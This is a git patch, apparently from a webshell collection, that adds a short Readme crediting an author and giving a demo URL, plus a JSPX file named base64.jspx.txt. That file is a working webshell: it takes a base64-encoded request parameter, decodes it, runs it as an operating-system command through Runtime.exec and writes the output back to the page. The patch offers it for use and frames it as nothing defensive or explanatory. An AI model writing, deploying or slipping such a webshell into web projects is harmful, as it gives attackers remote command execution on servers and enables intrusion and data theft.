From b1eac144900f4b62f425195fb344c4cfd32f61ff Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Tue, 5 Aug 2014 16:17:54 +0800
Subject: [PATCH] update ebase64.jspx

---
 jspx/Ends/Readme.md       |  3 +++
 jspx/Ends/base64.jspx.txt | 24 ++++++++++++++++++++++++
 2 files changed, 27 insertions(+)
 create mode 100644 jspx/Ends/Readme.md
 create mode 100644 jspx/Ends/base64.jspx.txt

diff --git a/jspx/Ends/Readme.md b/jspx/Ends/Readme.md
new file mode 100644
index 0000000..5aeb989
--- /dev/null
+++ b/jspx/Ends/Readme.md
@@ -0,0 +1,3 @@
+Author:Ends
+site:<url>http://ends.cc/?paged=5<url>
+'demo:http://ends.cc/webshell/base64.jspx?str=cmd'
\ No newline at end of file
diff --git a/jspx/Ends/base64.jspx.txt b/jspx/Ends/base64.jspx.txt
new file mode 100644
index 0000000..844b3cc
--- /dev/null
+++ b/jspx/Ends/base64.jspx.txt
@@ -0,0 +1,24 @@
+<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
+<jsp:directive.page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"/>
+<jsp:directive.page import="java.util.*"/>
+<jsp:directive.page import="java.io.*"/>
+<jsp:directive.page import="sun.misc.BASE64Decoder"/>
+<jsp:scriptlet><![CDATA[
+	String tmp = pageContext.getRequest().getParameter("str");
+	if (tmp != null&&!"".equals(tmp)) {
+	try{
+		String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
+		Process p = Runtime.getRuntime().exec(str);
+		InputStream in = p.getInputStream();
+		BufferedReader br = new BufferedReader(new InputStreamReader(in,"GBK"));
+		String brs = br.readLine();
+		while(brs!=null){
+			out.println(brs+"</br>");
+			brs = br.readLine();
+		}
+		}catch(Exception ex){
+			out.println(ex.toString());
+		}
+	}]]>
+</jsp:scriptlet>
+</jsp:root>
\ No newline at end of file